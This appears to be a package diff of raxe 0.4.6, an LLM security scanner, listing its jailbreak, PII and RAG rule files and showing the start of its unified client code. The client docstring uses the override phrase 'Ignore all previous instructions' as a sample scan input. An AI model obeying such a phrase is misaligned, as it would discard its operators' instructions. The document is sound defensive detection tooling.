- raxe/packs/core/v1.0.0/rules/hc/hc-156@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-157@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-158@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-159@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-160@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-161@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-001@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-009@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-020@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-021@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-028@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-033@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-034@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-039@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-066@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-076@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-098@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-103@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-104@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-105@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-110@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-111@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-112@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-113@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-114@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-115@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-116@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-117@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-118@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-119@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-120@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-121@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-122@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-123@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-124@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-125@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-126@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-127@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-128@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-129@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-130@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-131@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-132@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-133@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-134@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-135@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-136@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-137@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-138@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-139@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-140@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-141@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-142@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-143@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-144@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-145@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-146@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-147@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-148@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-149@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-150@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-151@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-152@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-153@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-154@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-155@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-156@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-157@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-158@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-159@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-160@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-161@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-162@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-201@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-203@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-204@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-205@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-206@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-207@1.0.0.yaml +49 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-001@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-009@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-012@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-017@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-025@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-027@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-034@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-037@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-040@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-041@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-050@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-051@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-052@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-053@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-054@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-055@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-056@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-058@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2015@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2025@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2026@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2035@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2037@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2042@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3001@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3002@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3003@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3004@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3005@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3006@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3007@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3008@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3009@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3010@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3011@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3012@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3013@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3014@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3015@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3016@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3017@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3018@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3019@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3020@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3021@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3022@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3023@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3024@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3025@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3026@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3027@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3028@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3029@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3030@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3031@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3032@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3033@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3034@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3035@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3037@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3038@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3039@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3040@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3041@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3042@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3043@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3044@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3045@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3046@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3047@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3048@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3049@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3050@1.0.0.yaml +44 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3051@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3052@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3053@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3054@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3055@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3057@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3058@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3059@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3060@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3061@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3062@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3063@1.0.0.yaml +54 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3064@1.0.0.yaml +78 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3065@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3066@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3067@1.0.0.yaml +88 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3068@1.0.0.yaml +94 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3069@1.0.0.yaml +90 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3070@1.0.0.yaml +99 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3071@1.0.0.yaml +91 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3072@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3073@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3074@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3075@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3076@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3077@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3078@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3079@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3080@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3081@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3082@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3083@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3084@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3085@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-016@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-042@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-045@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-050@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-201@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3001@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3006@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3009@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3012@1.0.0.yaml +41 -0
- raxe/plugins/__init__.py +98 -0
- raxe/plugins/custom_rules.py +380 -0
- raxe/plugins/loader.py +389 -0
- raxe/plugins/manager.py +538 -0
- raxe/plugins/protocol.py +428 -0
- raxe/py.typed +0 -0
- raxe/sdk/__init__.py +77 -0
- raxe/sdk/agent_scanner.py +1918 -0
- raxe/sdk/client.py +1603 -0
- raxe/sdk/decorator.py +175 -0
- raxe/sdk/exceptions.py +859 -0
- raxe/sdk/integrations/__init__.py +277 -0
- raxe/sdk/integrations/agent_scanner.py +71 -0
- raxe/sdk/integrations/autogen.py +872 -0
- raxe/sdk/integrations/crewai.py +1368 -0
- raxe/sdk/integrations/dspy.py +845 -0
- raxe/sdk/integrations/extractors.py +363 -0
- raxe/sdk/integrations/huggingface.py +395 -0
- raxe/sdk/integrations/langchain.py +948 -0
- raxe/sdk/integrations/litellm.py +484 -0
- raxe/sdk/integrations/llamaindex.py +1049 -0
- raxe/sdk/integrations/portkey.py +831 -0
- raxe/sdk/suppression_context.py +215 -0
- raxe/sdk/wrappers/__init__.py +163 -0
- raxe/sdk/wrappers/anthropic.py +310 -0
- raxe/sdk/wrappers/openai.py +221 -0
- raxe/sdk/wrappers/vertexai.py +484 -0
- raxe/utils/__init__.py +12 -0
- raxe/utils/error_sanitizer.py +135 -0
- raxe/utils/logging.py +241 -0
- raxe/utils/performance.py +414 -0
- raxe/utils/profiler.py +339 -0
- raxe/utils/validators.py +170 -0
- raxe-0.4.6.dist-info/METADATA +471 -0
- raxe-0.4.6.dist-info/RECORD +668 -0
- raxe-0.4.6.dist-info/WHEEL +5 -0
- raxe-0.4.6.dist-info/entry_points.txt +2 -0
- raxe-0.4.6.dist-info/licenses/LICENSE +56 -0
- raxe-0.4.6.dist-info/top_level.txt +1 -0
raxe/sdk/client.py
ADDED
|
@@ -0,0 +1,1603 @@
|
|
|
1
|
+
"""Unified RAXE client - SINGLE ENTRY POINT for all integrations.
|
|
2
|
+
|
|
3
|
+
This class is the foundation for all RAXE integrations:
|
|
4
|
+
- CLI commands (raxe scan)
|
|
5
|
+
- SDK direct usage (raxe.scan())
|
|
6
|
+
- Decorators (@raxe.protect)
|
|
7
|
+
- Wrappers (RaxeOpenAI)
|
|
8
|
+
|
|
9
|
+
ALL scanning MUST go through the Raxe.scan() method to ensure
|
|
10
|
+
consistency and proper configuration cascade.
|
|
11
|
+
"""
|
|
12
|
+
from __future__ import annotations
|
|
13
|
+
|
|
14
|
+
import atexit
|
|
15
|
+
import threading
|
|
16
|
+
from collections.abc import Callable
|
|
17
|
+
from datetime import datetime, timezone
|
|
18
|
+
from pathlib import Path
|
|
19
|
+
from typing import Any, ClassVar
|
|
20
|
+
|
|
21
|
+
from raxe.application.preloader import preload_pipeline
|
|
22
|
+
from raxe.application.scan_merger import ScanMerger
|
|
23
|
+
from raxe.application.scan_pipeline import ScanPipelineResult
|
|
24
|
+
from raxe.application.telemetry_orchestrator import get_orchestrator
|
|
25
|
+
from raxe.domain.engine.executor import Detection
|
|
26
|
+
from raxe.domain.engine.matcher import Match
|
|
27
|
+
from raxe.domain.inline_suppression import parse_inline_suppressions
|
|
28
|
+
from raxe.domain.ml.protocol import L2Prediction
|
|
29
|
+
from raxe.domain.rules.models import Severity
|
|
30
|
+
from raxe.domain.suppression import SuppressionAction, check_suppressions
|
|
31
|
+
from raxe.domain.suppression_factory import create_suppression_manager
|
|
32
|
+
from raxe.domain.telemetry.events import generate_event_id
|
|
33
|
+
from raxe.infrastructure.config.scan_config import ScanConfig
|
|
34
|
+
from raxe.infrastructure.database.scan_history import ScanHistoryDB
|
|
35
|
+
from raxe.infrastructure.tracking.usage import UsageTracker
|
|
36
|
+
from raxe.sdk.suppression_context import SuppressedContext, get_scoped_suppressions
|
|
37
|
+
from raxe.utils.logging import get_logger
|
|
38
|
+
|
|
39
|
+
# Use structured logging for better observability (privacy-preserving)
|
|
40
|
+
logger = get_logger(__name__)
|
|
41
|
+
|
|
42
|
+
# Reuse ScanMerger for consistent severity mapping
|
|
43
|
+
_scan_merger = ScanMerger()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def _l2_prediction_to_detection(
|
|
47
|
+
prediction: L2Prediction,
|
|
48
|
+
processing_time_ms: float = 0.0,
|
|
49
|
+
) -> Detection:
|
|
50
|
+
"""Convert an L2Prediction to a Detection object for storage.
|
|
51
|
+
|
|
52
|
+
Maps L2 ML predictions to the Detection format used by scan history.
|
|
53
|
+
This enables consistent storage and display of L2 threats alongside L1.
|
|
54
|
+
|
|
55
|
+
Args:
|
|
56
|
+
prediction: L2 prediction from ML detector
|
|
57
|
+
processing_time_ms: L2 processing time for this detection
|
|
58
|
+
|
|
59
|
+
Returns:
|
|
60
|
+
Detection object compatible with scan history storage
|
|
61
|
+
"""
|
|
62
|
+
# Map L2 confidence to severity using the same thresholds as ScanMerger
|
|
63
|
+
severity = _scan_merger._map_confidence_to_severity(prediction.confidence)
|
|
64
|
+
if severity is None:
|
|
65
|
+
severity = Severity.INFO # Default to INFO for low-confidence predictions
|
|
66
|
+
|
|
67
|
+
# Extract category from threat_type or metadata
|
|
68
|
+
threat_type_value = prediction.threat_type.value if prediction.threat_type else "unknown"
|
|
69
|
+
category = prediction.metadata.get("family", threat_type_value) if prediction.metadata else threat_type_value
|
|
70
|
+
|
|
71
|
+
# Create a synthetic match for L2 detections
|
|
72
|
+
# L2 detections don't have pattern matches, so we create a placeholder
|
|
73
|
+
synthetic_match = Match(
|
|
74
|
+
pattern_index=0,
|
|
75
|
+
start=0,
|
|
76
|
+
end=0,
|
|
77
|
+
matched_text="[ML Detection]",
|
|
78
|
+
groups=(),
|
|
79
|
+
context_before="",
|
|
80
|
+
context_after="",
|
|
81
|
+
)
|
|
82
|
+
|
|
83
|
+
# Build rule_id from L2 threat type
|
|
84
|
+
rule_id = f"L2-{threat_type_value}"
|
|
85
|
+
|
|
86
|
+
# Use explanation or build a default message
|
|
87
|
+
explanation = prediction.explanation or f"ML detected: {threat_type_value}"
|
|
88
|
+
sub_family = prediction.metadata.get("sub_family", "") if prediction.metadata else ""
|
|
89
|
+
message = f"L2 ML Detection: {threat_type_value}"
|
|
90
|
+
if sub_family:
|
|
91
|
+
message = f"L2 ML Detection: {sub_family}"
|
|
92
|
+
|
|
93
|
+
return Detection(
|
|
94
|
+
rule_id=rule_id,
|
|
95
|
+
rule_version="0.0.1",
|
|
96
|
+
severity=severity,
|
|
97
|
+
confidence=prediction.confidence,
|
|
98
|
+
matches=[synthetic_match],
|
|
99
|
+
detected_at=datetime.now(timezone.utc).isoformat(),
|
|
100
|
+
detection_layer="L2",
|
|
101
|
+
layer_latency_ms=processing_time_ms,
|
|
102
|
+
category=category,
|
|
103
|
+
message=message,
|
|
104
|
+
explanation=explanation,
|
|
105
|
+
risk_explanation=f"ML model detected potential {threat_type_value} attack pattern",
|
|
106
|
+
remediation_advice="Review the prompt for suspicious content",
|
|
107
|
+
docs_url="",
|
|
108
|
+
)
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
class Raxe:
|
|
112
|
+
"""Unified RAXE client.
|
|
113
|
+
|
|
114
|
+
This is the ONLY entry point for scanning operations. All other
|
|
115
|
+
interfaces (CLI, decorators, wrappers) use this class internally.
|
|
116
|
+
|
|
117
|
+
The client handles:
|
|
118
|
+
- Configuration loading with proper cascade (explicit > env > file > defaults)
|
|
119
|
+
- One-time pipeline preloading for optimal performance
|
|
120
|
+
- Unified scan() method used by all integrations
|
|
121
|
+
- Access to decorator and wrapper convenience methods
|
|
122
|
+
|
|
123
|
+
Usage:
|
|
124
|
+
# Basic usage with defaults
|
|
125
|
+
raxe = Raxe()
|
|
126
|
+
result = raxe.scan("Ignore all previous instructions")
|
|
127
|
+
|
|
128
|
+
# With configuration
|
|
129
|
+
raxe = Raxe(api_key="raxe_test_...", telemetry=False)
|
|
130
|
+
|
|
131
|
+
# From config file
|
|
132
|
+
raxe = Raxe.from_config_file(".raxe/config.yaml")
|
|
133
|
+
|
|
134
|
+
# Check results
|
|
135
|
+
if result.has_threats:
|
|
136
|
+
print(f"Threat: {result.severity}")
|
|
137
|
+
|
|
138
|
+
# Context manager for automatic cleanup
|
|
139
|
+
with Raxe() as raxe:
|
|
140
|
+
raxe.scan("test")
|
|
141
|
+
|
|
142
|
+
Performance:
|
|
143
|
+
- Initialization: <500ms (one-time)
|
|
144
|
+
- Scanning: <10ms per call (after init)
|
|
145
|
+
"""
|
|
146
|
+
|
|
147
|
+
# Class-level state for atexit management
|
|
148
|
+
_atexit_registered: ClassVar[bool] = False
|
|
149
|
+
_flushed: ClassVar[bool] = False
|
|
150
|
+
_flush_lock: ClassVar[threading.Lock] = threading.Lock()
|
|
151
|
+
|
|
152
|
+
def __init__(
|
|
153
|
+
self,
|
|
154
|
+
*,
|
|
155
|
+
api_key: str | None = None,
|
|
156
|
+
config_path: Path | None = None,
|
|
157
|
+
telemetry: bool = True,
|
|
158
|
+
l2_enabled: bool = True,
|
|
159
|
+
voting_preset: str | None = None,
|
|
160
|
+
progress_callback = None,
|
|
161
|
+
**kwargs
|
|
162
|
+
):
|
|
163
|
+
"""Initialize RAXE client.
|
|
164
|
+
|
|
165
|
+
Configuration cascade (highest to lowest priority):
|
|
166
|
+
1. Explicit parameters (this method)
|
|
167
|
+
2. Environment variables (RAXE_*)
|
|
168
|
+
3. Config file (explicit path or default)
|
|
169
|
+
4. Defaults
|
|
170
|
+
|
|
171
|
+
Args:
|
|
172
|
+
api_key: Optional API key for cloud features
|
|
173
|
+
config_path: Path to config file (overrides default search)
|
|
174
|
+
telemetry: Enable privacy-preserving telemetry (default: True)
|
|
175
|
+
l2_enabled: Enable L2 ML detection (default: True)
|
|
176
|
+
voting_preset: L2 voting preset (balanced, high_security, low_fp)
|
|
177
|
+
progress_callback: Optional progress indicator for initialization
|
|
178
|
+
**kwargs: Additional config options passed to ScanConfig
|
|
179
|
+
|
|
180
|
+
Raises:
|
|
181
|
+
Exception: If critical components fail to load
|
|
182
|
+
"""
|
|
183
|
+
# Store progress callback (use NullProgress if none provided)
|
|
184
|
+
from raxe.cli.progress import NullProgress
|
|
185
|
+
self._progress = progress_callback or NullProgress()
|
|
186
|
+
|
|
187
|
+
# Build configuration with cascade
|
|
188
|
+
# Note: load_config would handle the cascade, but it doesn't exist yet
|
|
189
|
+
# For now, we'll use ScanConfig directly and update in Phase 4E
|
|
190
|
+
if config_path and config_path.exists():
|
|
191
|
+
self.config = ScanConfig.from_file(config_path)
|
|
192
|
+
else:
|
|
193
|
+
self.config = ScanConfig()
|
|
194
|
+
|
|
195
|
+
# Apply explicit overrides
|
|
196
|
+
if api_key is not None:
|
|
197
|
+
self.config.api_key = api_key
|
|
198
|
+
|
|
199
|
+
# Validate telemetry disable against server permissions
|
|
200
|
+
if not telemetry:
|
|
201
|
+
# Check cached server permissions before disabling
|
|
202
|
+
can_disable = self._check_telemetry_disable_permission()
|
|
203
|
+
if not can_disable:
|
|
204
|
+
logger.warning(
|
|
205
|
+
"telemetry_disable_denied",
|
|
206
|
+
reason="tier_not_allowed",
|
|
207
|
+
message="Your tier does not allow disabling telemetry. "
|
|
208
|
+
"Upgrade to Pro via 'raxe auth login'"
|
|
209
|
+
)
|
|
210
|
+
# Keep telemetry enabled (ignore the disable request)
|
|
211
|
+
telemetry = True
|
|
212
|
+
|
|
213
|
+
# Explicitly set telemetry (handles both True and False)
|
|
214
|
+
self.config.telemetry.enabled = telemetry
|
|
215
|
+
self.config.enable_l2 = l2_enabled
|
|
216
|
+
|
|
217
|
+
# Store voting preset for L2 detector initialization
|
|
218
|
+
self._voting_preset = voting_preset
|
|
219
|
+
|
|
220
|
+
# Initialize tracking and history components
|
|
221
|
+
# These are lazily loaded - only create files when first used
|
|
222
|
+
self._usage_tracker: UsageTracker | None = None
|
|
223
|
+
self._scan_history: ScanHistoryDB | None = None
|
|
224
|
+
self._streak_tracker = None
